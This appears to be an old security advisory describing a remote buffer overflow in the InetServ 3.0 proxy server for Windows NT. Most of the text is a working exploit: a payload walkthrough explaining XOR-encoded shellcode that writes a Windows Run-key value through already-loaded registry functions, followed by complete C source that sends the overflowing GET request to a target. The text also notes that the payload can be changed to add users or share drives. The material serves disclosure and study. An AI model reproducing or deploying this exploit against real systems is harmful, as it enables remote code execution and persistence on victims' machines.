COMMAND

    InetServ

SYSTEMS AFFECTED

    InetServ 3.0 (Windows NT)

PROBLEM

    Greg  Hoglund  found  following.   After  downloading  a  copy  of
    InetServ 3.0 - a proxy server for Windows NT, he started testing a
    single  remotely-addressable  function  of  the  software  - a web
    service.  In less than 1 minute... his automated testing  software
    had already located a buffer overflow - a childlike and  brainless
    overflow.  It appeared  that an http GET  request with a 537  byte
    path would own EIP (in other words, allow me to control the remote
    processor).

    This is not  an isolated phenomenon.   This advisory is  not about
    that one buffer  overflow.  In  fact, we will  wager there are  at
    least  10  discrete  buffer  overflow  conditions in this software
    package alone, all of them exploitable from remote.  There may  be
    even more.  The fact that Greg was able to find such a simple  and
    easy to  discover bug  (the GET  request -  exploitable from a WEB
    Browser URL!) only substantiates  that this piece of  software was
    never adequately tested in QA.

    Lets  talk  about  this  exploit.   The  fact that the GET request
    causes an oveflow  is far from  noteworthy.  We  can tell just  by
    the  disassembly  that  there  are  many more overflows where this
    came  from.   What  is  worth  talking  about  is the payload Greg
    designed for  this exploit.   So, the  rest of  the discussion  is
    about the payload.

    One of  the most  common things  a payload  does is  open a remote
    shell.   A  number  of  months  back  I  wrote  a  small intrusion
    prevention tool that rendered all of these overflows harmless - an
    NT kernel patch  that prevents my  server software from  launching
    sub-processes.   Gee, all  of the  'shell' based  overflow attacks
    have been demoted to ankle-biters.   Of course, those of you  with
    experience immediately realize that  a payload can do  anything it
    wants - and as the virus  underground has taught us - there  are a
    million ways to torture a computer.  Todays payload does not  open
    a remote shell - rather, it shares all of your hard drives without
    a password - and does this without launching a single  sub-process
    or even loading any new functions.  We are going to attack the  NT
    registry through functions already loaded into the process space.

    Most processes have useful  functions already loaded into  address
    space.   Using  WDASM  and  VC++  we  are  able to find the memory
    location of the following functions:

        Name:                           Jump Table:             Actual (NTServer 4.0 SP3)
        ADVAPI32.RegCloseKey            [43D004]                77DB75A9
        ADVAPI32.RegCreateKeyExA        [43D008]                77DBA7F9
        ADVAPI32.RegOpenKeyExA          [43D00C]                77DB851A
        ADVAPI32.RegQueryValueExA       [43D010]                77DB8E19
        ADVAPI32.RegSetValueExA         [43D000]                77DBA979

    Since  we  cannot  be  assured  where the location of ADVAPI32.DLL
    will be mapped,  we simply use  the jump table  itself, which will
    be loaded in  the same location  regardless.  In  order to prevent
    NULL characters, I XOR my data area with 0x80.  The payload  first
    decodes  the  data  area,  then  calls  the following functions in
    order to add a value to the windows RUN key:

        RegOpenKeyEx();
        RegSetValueEx();

    In order to avoid NULL's we used an XOR between registers, as  you
    see in code:

        mov     eax, 77787748
        mov     edx, 77777777
        xor     eax, edx
        push    eax

    followed later only by:

        mov     eax, 0x77659BAe
        xor     eax, edx
        push eax

    These  values  translate  to  addresses  in  the  local area which
    require a NULL character, hence the XOR.  The value in the example
    is merely "cmd.exe /c" with no parameters.  You could easily alter
    this to add a user to the  system, or share a drive.  For  "script
    kiddie" purposes you will get nothing here - you'll need to  alter
    the cmd.exe string and alter the size variable in the decode  loop
    (shown here set to 0x46):

                        xor     ecx, ecx
                        mov ecx, 0x46
        LOOP_TOP:
                        dec             eax
                        xor             [eax], 0x80
                        dec             ecx
                        jnz             LOOP_TOP (75 F9)

    Once this runs, check your  registry and you'll find the  value in
    question.  The value will be executed upon the next reboot.   This
    is a very common way  for network worms to operate,  incidentally.
    The only snag when  using an http request  is that there are  some
    characters that are filtered or special - so you must avoid these.
    This limits which machine  instructions you can directly  inject -
    however there  are always  wasy to  get around  such problems.  In
    conclusion, Greg is  merely trying to  demonstrate that there  are
    many things  a buffer  overflow can  do besides  create a shell or
    download  a  file  -  and  many  forms  of host based IDS will not
    notice  this.   Now  clearly  the  RUN  key  is  common  place for
    security-savvy  people  to  look,  but  it  could have easily been
    something else more esoteric.

    Code follows:

    #include "windows.h"
    #include "stdio.h"
    #include "winsock.h"
    
    #define TARGET_PORT 224
    #define TARGET_IP "127.0.0.1"
    
    char aSendBuffer[] =
            "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
            "AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
            //mov           eax, 0x12ED21FF
            //sub           al, 0xFF
            //rol           eax, 0x018
            //mov           ebx, eax
            "\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
            //              xor     ecx, ecx
            //              mov ecx, 0x46
            //LOOP_TOP:
            //              dec             eax
            //              xor             [eax], 0x80
            //              dec             ecx
            //              jnz             LOOP_TOP (75 F9)
            "\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \
    
            //push  ebx
            "\x53" \
    
            //mov   eax, 77787748
            //mov   edx, 77777777
    
            "\xB8\x48\x77\x78\x77" \
            "\xBA\x77\x77\x77\x77" \
    
            //xor   eax, edx
            //push  eax
            "\x33\xC2\x50" \
    
            //xor   eax, eax
            //push  eax
            "\x33\xC0\x50" \
    
            // mov  eax, 0x77659BAe
            // xor  eax, edx
            // push eax
            "\xB8\xAE\x9B\x65\x77\x33\xC2\x50"
    
            //mov   eax, F7777775
            //xor   eax, edx
            //push  eax
            "\xB8\x75\x77\x77\xF7" \
            "\x33\xC2\x50" \
    
            //mov   eax, 7734A77Bh
            //xor   eax, edx
            //call  [eax]
            "\xB8\x7B\xA7\x34\x77" \
            "\x33\xC2" \
            "\xFF\x10" \
    
            //mov   edi, ebx
            //mov   eax, 0x77659A63
            //xor   eax, edx
            //sub   ebx, eax
            //push  ebx
            //push  eax
            //push  1
            //xor   ecx, ecx
            //push  ecx
            //push  eax
            //push  [edi]
            //mov   eax, 0x7734A777
            //xor   eax, edx
            //call  [eax]
            "\x8B\xFB" \
            "\xBA\x77\x77\x77\x77" \
            "\xB8\x63\x9A\x65\x77\x33\xC2" \
            "\x2B\xD8\x53\x50" \
            "\x6A\x01\x33\xC9\x51" \
            "\xB8\x70\x9A\x65\x77" \
            "\x33\xC2\x50" \
            "\xFF\x37\xB8\x77\xA7\x34" \
            "\x77\x33\xC2\xFF\x10" \
    
            // halt or jump to somewhere harmless
            "\xCC" \
            "AAAAAAAAAAAAAAA" \
    
            // nop (int 3) 92
            // nop (int 3)
            // jmp
            "\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
            /* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
            "\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
            "\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
            "\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
            "\xD2\xF5\xEE\x80" \
            /* value name "_UR_HAXORED_" */
            "\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
            /* the command "cmd.exe /c" */
            "\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";
    
    int main(int argc, char* argv[])
    {
            WSADATA wsaData;
            SOCKET s;
            SOCKADDR_IN sockaddr;
    
            sockaddr.sin_family = AF_INET;
            if(3 == argc)
            {
                    int port = atoi(argv[2]);
                    sockaddr.sin_port = htons(port);
            }
            else
            {
                    sockaddr.sin_port = htons(TARGET_PORT);
            }
            if(2 <= argc)
            {
                    sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
            }
            else
            {
                    sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
            }
    
            try
            {
                    WSAStartup(MAKEWORD(2,0), &wsaData);
                    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                    if(INVALID_SOCKET == s)
                            throw WSAGetLastError();
                    if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr, sizeof(SOCKADDR)) )
                            throw WSAGetLastError();
                    send(s, aSendBuffer, strlen(aSendBuffer), 0);
                    closesocket(s);
                    WSACleanup();
            }
            catch(int err)
            {
                    fprintf(stderr, "error %d\n", err);
            }
            return 0;
    }

SOLUTION

    Nothing yet.